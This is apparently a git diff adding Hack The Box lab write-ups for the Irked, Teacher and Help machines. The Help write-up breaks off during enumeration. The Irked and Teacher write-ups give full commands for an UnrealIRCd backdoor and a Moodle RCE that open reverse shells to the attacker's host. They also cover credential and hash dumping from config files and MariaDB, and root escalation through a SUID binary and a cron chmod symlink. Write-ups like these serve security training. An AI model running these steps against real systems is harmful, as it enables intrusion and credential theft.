exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6697 + RPORT => 6697 + msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit + + +We hit exploit and see if we get any result. + + + msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit + + [*] Started reverse TCP double handler on 10.10.14.48:4444 + [*] 10.10.10.117:6697 - Connected to 10.10.10.117:6697... + :irked.htb NOTICE AUTH :*** Looking up your hostname... + [*] 10.10.10.117:6697 - Sending backdoor command... + [*] Accepted the first client connection... + [*] Accepted the second client connection... + [*] Command: echo 2AGs6oeXBUrCqprk; + [*] Writing to socket A + [*] Writing to socket B + [*] Reading from sockets... + [*] Reading from socket A + [*] A: "2AGs6oeXBUrCqprk\r\n" + [*] Matching... + [*] B is input... + [*] Command shell session 1 opened (10.10.14.48:4444 -> 10.10.10.117:39782) at 2019-12-06 16:22:40 +0100 + + whoami + ircd + + which python + /usr/bin/python + + +and we are logged in as ircd ! Now, since python is available for us on the box, we will use a python one-liner using the pty module in order to spawn a nicer prompt. Once that's done we'll try to see if we can find the user flag. + + + python -c 'import pty; pty.spawn("/bin/bash")' + ircd@irked:~/Unreal3.2$ uname -a + uname -a + Linux irked 3.16.0-6-686-pae #1 SMP Debian 3.16.56-1+deb8u1 (2018-05-08) i686 GNU/Linux + + ircd@irked:/home/djmardov/Documents$ cat /home/djmardov/Documents/user.txt + cat /home/djmardov/Documents/user.txt + cat: /home/djmardov/Documents/user.txt: Permission denied + + +We are logged in as ircd, however we do not have enough permissions to print out the user flag located in /home/djmardov/Documents/ . Poking around within the same folder, we seem to find a hidden .backup file. + + + ircd@irked:/home/djmardov/Documents$ ls -la + ls -la + total 16 + drwxr-xr-x 2 djmardov djmardov 4096 May 15 2018 . + drwxr-xr-x 18 djmardov djmardov 4096 Nov 3 2018 .. + -rw-r--r-- 1 djmardov djmardov 52 May 16 2018 .backup + -rw------- 1 djmardov djmardov 33 May 15 2018 user.txt + + ircd@irked:/home/djmardov/Documents$ cat user.txt + cat user.txt + cat: user.txt: Permission denied + + ircd@irked:/home/djmardov/Documents$ cat .backup + cat .backup + Super elite steg backup pw + UPupDOWNdownLRlrBAbaSSss + + + +The .backup file seems to hint us towards steganography, using the "UPupDOWNdownLRlrBAbaSSss" password. Steganography is the art of hiding information within images, we will use the steghide command onto the irked.jpg image we found earlier on the webpage to see if we can extract any data out of it using the password. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Irked ] + → wget http://10.10.10.117/irked.jpg + --2019-12-06 16:34:43-- http://10.10.10.117/irked.jpg + Connecting to 10.10.10.117:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 34697 (34K) [image/jpeg] + Saving to: ‘irked.jpg’ + + irked.jpg 100%[==============================================>] 33.88K --.-KB/s in 0.04s + + 2019-12-06 16:34:43 (811 KB/s) - ‘irked.jpg’ saved [34697/34697] + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Irked ] + → steghide extract -sf irked.jpg + Enter passphrase: + wrote extracted data to "pass.txt". + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Irked ] + → cat pass.txt + Kab6h+m+bbp2J:HG + + + +We seem to have a password to work with ! let's try to escalate privileges to the user djmardov using the su command. + + + ircd@irked:/home/djmardov/Documents$ su djmardov + su djmardov + Password: Kab6h+m+bbp2J:HG + + djmardov@irked:~/Documents$ whoami + whoami + djmardov + djmardov@irked:~/Documents$ cat user.txt + cat user.txt + 4aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +It worked ! We have been able to print the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to elevate our privileges even further we need to poke around the box a little more. Let's list the binaries onto the box to see what we can work with. + + + djmardov@irked:~/Documents$ find / -perm -u=s -type f 2>/dev/null + find / -perm -u=s -type f 2>/dev/null + /usr/lib/dbus-1.0/dbus-daemon-launch-helper + /usr/lib/eject/dmcrypt-get-device + /usr/lib/policykit-1/polkit-agent-helper-1 + /usr/lib/openssh/ssh-keysign + /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper + /usr/sbin/exim4 + /usr/sbin/pppd + /usr/bin/chsh + /usr/bin/procmail + /usr/bin/gpasswd + /usr/bin/newgrp + /usr/bin/at + /usr/bin/pkexec + /usr/bin/X + /usr/bin/passwd + /usr/bin/chfn + **/usr/bin/viewuser** + /sbin/mount.nfs + /bin/su + /bin/mount + /bin/fusermount + /bin/ntfs-3g + /bin/umount + + + +the viewuser binary doesn't sound all that common, let's inspect it a little further. + + + djmardov@irked:/usr/bin$ /usr/bin/viewuser + /usr/bin/viewuser + This application is being devleoped to set and test user permissions + It is still being actively developed + (unknown) :0 2019-12-06 05:47 (:0) + sh: 1: /tmp/listusers: not found + + +The viewuser seems to be trying to execute a non-existant file/script within /tmp called listuser. + + + djmardov@irked:~$ cd /tmp && ls + cd /tmp && ls + systemd-private-b7b0ea6c069c44919947973463e3ecd1-colord.service-9t1iyd + systemd-private-b7b0ea6c069c44919947973463e3ecd1-cups.service-j2QDlp + systemd-private-b7b0ea6c069c44919947973463e3ecd1-rtkit-daemon.service-ZjjCnq + vmware-root + + +As we can see, /tmp doesn't contain any file named listuser. Let's try to create a bashscript named "listuser" that could spawn yet another shell, which could have elevated privileges. + + + djmardov@irked:/tmp$ touch listusers + touch listusers + + djmardov@irked:/tmp$ echo '#!/bin/bash' >> listusers + echo '#!/bin/bash' >> listusers + + djmardov@irked:/tmp$ echo '/bin/sh' >> listusers + echo '/bin/sh' >> listusers + + djmardov@irked:/tmp$ /usr/bin/viewuser + /usr/bin/viewuser + This application is being devleoped to set and test user permissions + It is still being actively developed + (unknown) :0 2019-12-06 05:47 (:0) + sh: 1: /tmp/listusers: Permission denied + + +Now the binary file finds the listusers script , although we need to make it executable ! we will be using the chmod command along with the +x flag. + + + djmardov@irked:/tmp$ chmod +x listusers + chmod +x listusers + + djmardov@irked:/tmp$ /usr/bin/viewuser + /usr/bin/viewuser + + This application is being devleoped to set and test user permissions + It is still being actively developed + (unknown) :0 2019-12-06 05:47 (:0) + + # whoami + whoami + root + + # cat /root/root.txt + cat /root/root.txt + 8dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +It worked ! The binary executed our infected listusers script, and it spawned us a root shell, which gave us the root access. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/25_graph.png) + diff --git a/Easy/26.md b/Easy/26.md new file mode 100644 index 0000000..f7e484d --- /dev/null +++ b/Easy/26.md @@ -0,0 +1,540 @@ +# Teacher Writeup + +![](img/26.png) + +## Introduction : + +Teacher is an easy Linux box that was released back in December 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Teacher ] + → nmap -F 10.10.10.153 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 17:19 CET + Nmap scan report for 10.10.10.153 + Host is up (0.090s latency). + Not shown: 99 closed ports + PORT STATE SERVICE + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Teacher ] + → nmap -sCV -p80 10.10.10.153 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 17:20 CET + Nmap scan report for 10.10.10.153 + Host is up (0.071s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Apache httpd 2.4.25 ((Debian)) + |_http-server-header: Apache/2.4.25 (Debian) + |_http-title: Blackhat highschool + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 9.16 seconds + + +## **Part 2 : Getting User Access** + +Browsing to the http://10.10.10.153/ page, we are greeted with the webservice our nmap scan picked up. Let's run a dirbuster scan in order to enumerate which folders are available onto this webservice. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Teacher ] + → dirsearch -u http://10.10.10.153/ -e php -x 403 -r + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php | HTTP method: get | Threads: 10 | Wordlist size: 6027 + + Error Log: /home/nihilist/.dirsearch/logs/errors-19-12-06_17-40-41.log + + Target: http://10.10.10.153/ + + + +While the dirsearch scan runs in the background, we will be Navigating to the gallery.html page we see something odd : + +![](prg/26_001.png) + + + ****λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Teacher ] + → curl -sk http://10.10.10.153/gallery.html | grep png <****li> <****a href="#"> <****img src="images/5.png" onerror="console.log('That\'s an F');" alt=""> <****/a> <****/li> <****li> <****a href="#"> <****img src="images/5_2.png" alt=""> <****/a> <****/li> <****li> <****a href="#"> <****img src="images/5_3.png" alt=""> <****/a> <****/li> + [...] + +Interesting ! there seems to be a problem with the image 5.png. let's download it and see what's up with it. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Teacher ] + → wget http://10.10.10.153/images/5.png + --2019-12-06 17:31:30-- http://10.10.10.153/images/5.png + Connecting to 10.10.10.153:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 200 [image/png] + Saving to: ‘5.png’ + + 5.png 100%[============================================>] 200 --.-KB/s in 0s + + 2019-12-06 17:31:31 (8.23 MB/s) - ‘5.png’ saved [200/200] + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Teacher ] + → file 5.png + 5.png: ASCII text + + +That's why the image wasn't working ! it was actually an ASCII text file. Let's print out it's contents using the cat command. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Teacher ] + → cat 5.png + Hi Servicedesk, + + I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha. + + Could you guys figure out what the last charachter is, or just reset it? + + Thanks, + Giovanni + + + +We seem to have a password to work with: **Th4C00lTheacha** although it seems to be missing the last character according to the message. Creating a wordlist with all the possible passwords with python and then giving it to hydra we get the password **Th4C00lTheacha#** + +During this time , our dirsearch scan came back with a few results : + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Teacher ] + → dirsearch -u http://10.10.10.153/ -e php -x 403-r + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php | HTTP method: get | Threads: 10 | Wordlist size: 6027 + + Error Log: /home/nihilist/.dirsearch/logs/errors-19-12-06_17-40-41.log + + Target: http://10.10.10.153/ + + [17:40:41] Starting: + + [17:41:05] 301 - 310B - /css -> http://10.10.10.153/css/ + [17:41:10] 301 - 312B - /fonts -> http://10.10.10.153/fonts/ + [17:41:13] 301 - 313B - /images -> http://10.10.10.153/images/ + [17:41:13] 200 - 8KB - /index.md + [17:41:14] 301 - 317B - /javascript -> http://10.10.10.153/javascript/ + [17:41:15] 301 - 309B - /js -> http://10.10.10.153/js/ + [17:41:18] 301 - 313B - /manual -> http://10.10.10.153/manual/ + [17:41:18] 200 - 626B - /manual/index.md + [17:41:19] 301 - 313B - /moodle -> http://10.10.10.153/moodle/ + + + Task Completed + + + +Dirsearch came back with an interesting result : /moodle + +Navigating onto the moodle login page, we are greeted with a login form onto which we'll try our credentials for the user giovanni. + +![](prg/26_002.png) ![](prg/26_003.png) + +And we are logged in ! now let's see if we can find an exploit for the moodle webservice using the searchsploit command. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Teacher ] + → searchsploit moodle + ------------------------------ ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ------------------------------ ---------------------------------------- + Mambo Component Mam-Moodle al | exploits/php/webapps/2064.txt + Moodle - Remote Command Execu | exploits/linux/remote/29324.rb + Moodle 1.1/1.2 - Cross-Site S | exploits/php/webapps/24071.txt + Moodle 1.5.2 - 'moodledata' R | exploits/php/webapps/3508.txt + Moodle 1.5/1.6 - '/mod/forum/ | exploits/php/webapps/29284.txt + Moodle 1.6dev - SQL Injection | exploits/php/webapps/1312.php + Moodle 1.7.1 - 'index.php' Cr | exploits/php/webapps/30261.txt + Moodle 1.8.3 - 'install.php' | exploits/php/webapps/31020.txt + Moodle 1.8.4 - Remote Code Ex | exploits/php/webapps/6356.php + Moodle 1.9.3 - Remote Code Ex | exploits/php/webapps/7437.txt + Moodle 1.x - 'post.php' Cross | exploits/php/webapps/24356.txt + Moodle 2.0.1 - 'PHPCOVERAGE_H | exploits/php/webapps/35297.txt + Moodle 2.3.8/2.4.5 - Multiple | exploits/php/webapps/28174.txt + Moodle 2.5.9/2.6.8/2.7.5/2.8. | exploits/php/webapps/36418.txt + Moodle 2.7 - Persistent Cross | exploits/php/webapps/34169.txt + Moodle 2.x/3.x - SQL Injectio | exploits/php/webapps/41828.php + **Moodle 3.4.1 - Remote Code Ex | exploits/php/webapps/46551.php** + Moodle 3.6.3 - 'Install Plugi | exploits/php/remote/46775.rb + Moodle < 1.6.9/1.7.7/1.8.9/1. | exploits/php/webapps/8297.txt + Moodle Blog 1.18.2.2/1.6.2 Mo | exploits/php/webapps/28770.txt + Moodle Filepicker 3.5.2 - Ser | exploits/php/webapps/47177.txt + Moodle Help Script 1.x - Cros | exploits/php/webapps/24279.txt + Moodle Jmol Filter 6.1 - Dire | exploits/php/webapps/46881.txt + ------------------------------ ---------------------------------------- + Shellcodes: No Result + + +The php exploit number 46551 seems to be the most recent Remote Code Execution exploit available for our target, let's locate it, and copy it onto our current directory in order to see if we can get it to work. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Teacher ] + → locate 46551.php + /usr/share/exploitdb/exploits/php/webapps/46551.php + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Teacher ] + → cp /usr/share/exploitdb/exploits/php/webapps/46551.php . + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Teacher ] + → php 46551.php + PHP Notice: Undefined index: url in /home/nihilist/_HTB/Teacher/46551.php on line 503 + PHP Notice: Undefined index: user in /home/nihilist/_HTB/Teacher/46551.php on line 504 + PHP Notice: Undefined index: pass in /home/nihilist/_HTB/Teacher/46551.php on line 505 + PHP Notice: Undefined index: ip in /home/nihilist/_HTB/Teacher/46551.php on line 506 + PHP Notice: Undefined index: port in /home/nihilist/_HTB/Teacher/46551.php on line 507 + PHP Notice: Undefined index: course in /home/nihilist/_HTB/Teacher/46551.php on line 508 + + *------------------------------* + * Noodle [Moodle RCE] (v3.4.1) * + *------------------------------* + + [!] Make sure you have a listener + [!] at : + + [*] Logging in as user with password + [-] LOGIN FAILED! + [?] Do you have the right credentials and url? + + +Seems like we need to set the url, user, pass, ip, port and course flags. Before we run it , we will setup another terminal with the nc command ready in order to catch the incoming reverse shell connection onto our 9005th port. + +_Terminal 1:_ + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Teacher] → nc -lvnp 9005 + + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Teacher ] + → sudo php 46551.php url=http://10.10.10.153/moodle/ user=giovanni pass=Th4C00lTheacha# ip=10.10.14.48 port=9005 course=2 + + + [sudo] password for nihilist: + + *------------------------------* + * Noodle [Moodle RCE] (v3.4.1) * + *------------------------------* + + [!] Make sure you have a listener + [!] at 10.10.14.48:9005 + + [*] Logging in as user giovanni with password Th4C00lTheacha# + [+] Successful Login + [>] Moodle Session v3di0tkljnuh8uepnsq5buenf0 + [>] Moodle Key 4JU4ADDZN7 + [*] Loading Course ID 2 + [+] Successfully Loaded Course + [*] Enable Editing + [+] Successfully Enabled Course Editing + [*] Adding Quiz + [+] Successfully Added Quiz + [*] Configuring New Quiz + [+] Successfully Configured Quiz + [*] Loading Edit Quiz Page + [+] Successfully Loaded Edit Quiz Page + [*] Adding Calculated Question + [+] Successfully Added Calculation Question + [*] Adding Evil Question + [+] Successfully Created Evil Question + [*] Sending Exploit + + [>] You should receive a reverse shell attempt from the target at 10.10.14.48 on port 9005 + [>] If connection was successful this program will wait here until you close the connection. + [>] You should be able to Ctrl+C and retain the connection through netcat. + + + +_Terminal 1:_ + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Teacher] → nc -lvnp 9005 + Connection from 10.10.10.153:41844 + /bin/sh: 0: can't access tty; job control turned off + $ python -c 'import pty;pty.spawn("/bin/bash")' + + www-data@teacher:/var/www/html/moodle/question$ cat /home/giovanni/user.txt + cat /home/giovanni/user.txt + cat: /home/giovanni/user.txt: Permission denied + + +And we are logged in ! Although we do not have enough permissions to read the user flag. Looking within the /etc folder we see that there is phpmyadmin, entering the directory we run the grep command with the -r flag onto the dbuser and dbpass file + + + www-data@teacher:/etc$ cd /etc/phpmyadmin + cd /etc/phpmyadmin + + www-data@teacher:/etc/phpmyadmin$ grep -r + grep -r + Usage: grep [OPTION]... PATTERN [FILE]... + Try 'grep --help' for more information. + + www-data@teacher:/etc/phpmyadmin$ grep -r dbuser + grep -r dbuser + config.inc.php: $cfg['Servers'][$i]['controluser'] = $dbuser; + config-db.php:$dbuser='phpmyadmin'; + + www-data@teacher:/etc/phpmyadmin$ grep -r dbpass + grep -r dbpass + config.inc.php: $cfg['Servers'][$i]['controlpass'] = $dbpass; + config-db.php:$dbpass='Welkom1!'; + + +And we have credentials ! phpmyadmin:Welkom1! let's login onto the local mariaDB service. + + + www-data@teacher:/etc/phpmyadmin$ mysql -u root -p + mysql -u root -p + Enter password: Welkom1! + + Welcome to the MariaDB monitor. Commands end with ; or \g. + Your MariaDB connection id is 93 + Server version: 10.1.26-MariaDB-0+deb9u1 Debian 9.1 + + Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others. + + Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + + MariaDB [(none)]> + + +And we are logged into MariaDB ! Now let's see which databases we are able to work with. + + + MariaDB [(none)]> show databases; + show databases; + +--------------------+ + | Database | + +--------------------+ + | information_schema | + | moodle | + | mysql | + | performance_schema | + | phpmyadmin | + +--------------------+ + 5 rows in set (0.00 sec) + + +Let's see which tables are contained within the phpmyadmin database. + + + MariaDB [(none)]> use moodle; + use moodle; + Reading table information for completion of table and column names + You can turn off this feature to get a quicker startup with -A + + Database changed + MariaDB [moodle]> show tables; + show tables; + +----------------------------------+ + | Tables_in_moodle | + +----------------------------------+ + | mdl_analytics_indicator_calc | + | mdl_analytics_models | + | mdl_analytics_models_log | + | mdl_analytics_predict_samples | + | mdl_analytics_prediction_actions | + | mdl_analytics_predictions | + | mdl_analytics_train_samples | + | mdl_analytics_used_analysables | + | mdl_analytics_used_files | + | mdl_assign | + + [...] + + | **mdl_user** | + + [...] + + | mdl_workshopform_rubric | + | mdl_workshopform_rubric_config | + | mdl_workshopform_rubric_levels | + +----------------------------------+ + 388 rows in set (0.00 sec) + + +Looking at the results, we get alot of tables to work with, but there is one in particular that we'll be using which is the mdl_user table. + + + MariaDB [moodle]> select username,password from mdl_user; + select username,password from mdl_user; + +-------------+--------------------------------------------------------------+ + | username | password | + +-------------+--------------------------------------------------------------+ + | guest | $2y$10$ywuE5gDlAlaCu9R0w7pKW.UCB0jUH6ZVKcitP3gMtUNrAebiGMOdO | + | admin | $2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/1aA6wCWTsF2wtrDO2 | + | giovanni | $2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqLO0FSYO | + | Giovannibak | 7a860966115182402ed06375cf0a22af | + +-------------+--------------------------------------------------------------+ + 4 rows in set (0.00 sec) + + +There we go ! We have hashed passwords to work with. The last hash is shorter than the others, we'll use hash-identifier in order to see if we can guess the format of the hash. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Teacher ] + → hash-identifier + ######################################################################### + # __ __ __ ______ _____ # + # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # + # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # + # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # + # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # + # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # + # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # + # By Zion3R # + # www.Blackploit.com # + # Root@Blackploit.com # + ######################################################################### + -------------------------------------------------- + HASH: 7a860966115182402ed06375cf0a22af + + Possible Hashs: + [+] MD5 + [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username))) + + +Looking at the results, we seem to have a MD5 encrypted hash to work with, let's google the hash with the keyword MD5 in order to see if google knows the original password that was there before the md5 hashing. + +![](prg/26_004.png) + +And there we have it ! the password was "expelled" Now let's see if we can login as the giovanni user. + + + www-data@teacher:/etc/phpmyadmin$ su giovanni + su giovanni + Password: expelled + + giovanni@teacher:/etc/phpmyadmin$ cat /home/giovanni/user.txt + cat /home/giovanni/user.txt + faXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And there we go ! We now have been able to login as giovanni, and therefore we now have enough privileges to print out the user flag. + +## **Part 3 : Getting Root Access** + +In order to get the root access, we first start poking around the /usr/bin/ folder and we find something interesting when we grep the result of the ls command with the keyword "backup" + + + giovanni@teacher:/etc/phpmyadmin$ ls -la /usr/bin | grep backup + ls -la /usr/bin | grep backup + -rwxr-xr-x 1 root root 138 Jun 27 2018 backup.sh + -rwxr-xr-x 1 root root 17879752 Aug 10 2017 mariabackup + -rwxr-xr-x 1 root root 32066 Aug 10 2017 wsrep_sst_mariabackup + -rwxr-xr-x 1 root root 21662 Aug 10 2017 wsrep_sst_xtrabackup + -rwxr-xr-x 1 root root 31670 Aug 10 2017 wsrep_sst_xtrabackup-v2 + + giovanni@teacher:/etc/phpmyadmin$ cat /usr/bin/backup.sh + cat /usr/bin/backup.sh + #!/bin/bash + cd /home/giovanni/work; + tar -czvf tmp/backup_courses.tar.gz courses/*; + cd tmp; + tar -xf backup_courses.tar.gz; + chmod 777 * -R; + + +It seems like the backup.sh script is being run with root privileges, One important part of the script is that it is running the **chmod 777 *** command within the /tmp folder. Therefore we just have to create a shortcut to the root folder into the /home/giovanni/work/tmp folder, Once the script is being run, we should have access to the root directory and it's contents. + + + giovanni@teacher:~/work/tmp$ ln -s / caca + ln -s / caca + giovanni@teacher:~/work/tmp$ ls + ls + backup_courses.tar.gz caca courses + giovanni@teacher:~/work/tmp$ cd / + cd / + giovanni@teacher:/$ ls -la + ls -la + total 84 + drwxr-xr-x 22 root root 4096 Oct 28 2018 . + drwxr-xr-x 22 root root 4096 Oct 28 2018 .. + drwxr-xr-x 2 root root 4096 Oct 28 2018 bin + drwxr-xr-x 3 root root 4096 Oct 28 2018 boot + drwxr-xr-x 17 root root 3080 Dec 6 17:19 dev + drwxr-xr-x 84 root root 4096 Oct 28 2018 etc + drwxr-xr-x 3 root root 4096 Jun 27 2018 home + lrwxrwxrwx 1 root root 29 Oct 28 2018 initrd.img -> boot/initrd.img-4.9.0-8-amd64 + lrwxrwxrwx 1 root root 29 Oct 28 2018 initrd.img.old -> boot/initrd.img-4.9.0-6-amd64 + drwxr-xr-x 15 root root 4096 Jun 27 2018 lib + drwxr-xr-x 2 root root 4096 Jun 27 2018 lib64 + drwx------ 2 root root 16384 Jun 27 2018 lost+found + drwxr-xr-x 3 root root 4096 Jun 27 2018 media + drwxr-xr-x 2 root root 4096 Jun 27 2018 mnt + drwxr-xr-x 2 root root 4096 Jun 27 2018 opt + dr-xr-xr-x 92 root root 0 Dec 6 17:19 proc + drwx------ 3 root root 4096 Nov 4 2018 root + drwxr-xr-x 18 root root 500 Dec 6 17:20 run + drwxr-xr-x 2 root root 4096 Oct 28 2018 sbin + drwxr-xr-x 2 root root 4096 Jun 27 2018 srv + dr-xr-xr-x 13 root root 0 Dec 6 18:51 sys + drwxrwxrwt 2 root root 4096 Dec 6 18:51 tmp + drwxr-xr-x 10 root root 4096 Jun 27 2018 usr + drwxr-xr-x 12 root root 4096 Jun 27 2018 var + lrwxrwxrwx 1 root root 26 Oct 28 2018 vmlinuz -> boot/vmlinuz-4.9.0-8-amd64 + lrwxrwxrwx 1 root root 26 Oct 28 2018 vmlinuz.old -> boot/vmlinuz-4.9.0-6-amd64 + giovanni@teacher:/$ + + +Wait a minute for the cronjob to execute the script, which should change every folder to the 777 permissions + + + drwxrwxrwx 2 root root 4096 Oct 28 2018 bin + drwxrwxrwx 3 root root 4096 Oct 28 2018 boot + drwxrwxrwx 17 root root 3080 Dec 6 17:19 dev + drwxrwxrwx 84 root root 4096 Oct 28 2018 etc + drwxrwxrwx 3 root root 4096 Jun 27 2018 home + lrwxrwxrwx 1 root root 29 Oct 28 2018 initrd.img -> boot/initrd.img-4.9.0-8-amd64 + lrwxrwxrwx 1 root root 29 Oct 28 2018 initrd.img.old -> boot/initrd.img-4.9.0-6-amd64 + drwxrwxrwx 15 root root 4096 Jun 27 2018 lib + drwxrwxrwx 2 root root 4096 Jun 27 2018 lib64 + drwxrwxrwx 2 root root 16384 Jun 27 2018 lost+found + drwxrwxrwx 3 root root 4096 Jun 27 2018 media + drwxrwxrwx 2 root root 4096 Jun 27 2018 mnt + drwxrwxrwx 2 root root 4096 Jun 27 2018 opt + drwxrwxrwx 92 root root 0 Dec 6 17:19 proc + drwxrwxrwx 3 root root 4096 Nov 4 2018 root + drwxrwxrwx 18 root root 500 Dec 6 17:20 run + drwxrwxrwx 2 root root 4096 Oct 28 2018 sbin + drwxrwxrwx 2 root root 4096 Jun 27 2018 srv + drwxrwxrwx 13 root root 0 Dec 6 18:51 sys + drwxrwxrwx 2 root root 4096 Dec 6 18:51 tmp + drwxrwxrwx 10 root root 4096 Jun 27 2018 usr + drwxrwxrwx 12 root root 4096 Jun 27 2018 var + lrwxrwxrwx 1 root root 26 Oct 28 2018 vmlinuz -> boot/vmlinuz-4.9.0-8-amd64 + lrwxrwxrwx 1 root root 26 Oct 28 2018 vmlinuz.old -> boot/vmlinuz-4.9.0-6-amd64 + + +See how every folder has got it's permissions changed , now we should be able to navigate into /root and print out the root flag. + + + giovanni@teacher:/$ cd root + cd root + giovanni@teacher:/root$ cat root.txt + cat root.txt + 4fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we got the root flag now. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/26_graph.png) + diff --git a/Easy/27.md b/Easy/27.md new file mode 100644 index 0000000..086b691 --- /dev/null +++ b/Easy/27.md @@ -0,0 +1,400 @@ +# Help Writeup + +![](img/27.png) + +## Introduction : + +Help is an easy Linux box that was released back in January 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → nmap -F 10.10.10.121 --top-ports 60000 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 19:59 CET + Nmap scan report for 10.10.10.121 + Host is up (0.037s latency). + Not shown: 8317 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 3000/tcp open ppp + + Nmap done: 1 IP address (1 host up) scanned in 10.09 seconds + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → nmap -sCV -p 22,80,3000 10.10.10.121 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 19:59 CET + Nmap scan report for 10.10.10.121 + Host is up (0.030s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA) + | 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA) + |_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519) + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Apache2 Ubuntu Default Page: It works + 3000/tcp open http Node.js Express framework + |_http-title: Site doesn't have a title (application/json; charset=utf-8). + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 19.83 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan seems to have picked up 2 interesting ports here : 80 and 3000. Let's run a dirsearch command on both these ports to enumerate what folders may be available for us to browse. + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → dirsearch -u http://10.10.10.121/ -e php -x 403 -r + + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → dirsearch -u http://10.10.10.121:3000/ -e php -x 403 -r + + Target: http://10.10.10.121:3000/ + + [20:04:07] Starting: + [20:04:21] 400 - 18B - /graphql + [20:04:21] 400 - 18B - /graphql/console/ + + Task Completed + + + +Looking at the results, we see that dirsearch wasn't able to find alot of folders for the 3000th port, however it was able to find much more for the 80th port. + + + [20:04:08] Starting: + [20:04:23] 200 - 11KB - /index.md + [20:04:23] 301 - 317B - /javascript -> http://10.10.10.121/javascript/ + [20:04:31] 301 - 314B - /support -> http://10.10.10.121/support/ + [20:04:34] Starting: javascript/ + [20:05:00] Starting: support/ + [20:05:00] 200 - 378B - /support/.gitattributes + [20:05:10] 301 - 318B - /support/css -> http://10.10.10.121/support/css/ + [20:05:12] 200 - 1KB - /support/favicon.ico + [20:05:14] 301 - 321B - /support/images -> http://10.10.10.121/support/images/ + [20:05:14] 301 - 323B - /support/includes -> http://10.10.10.121/support/includes/ + [20:05:14] 302 - 0B - /support/includes/ 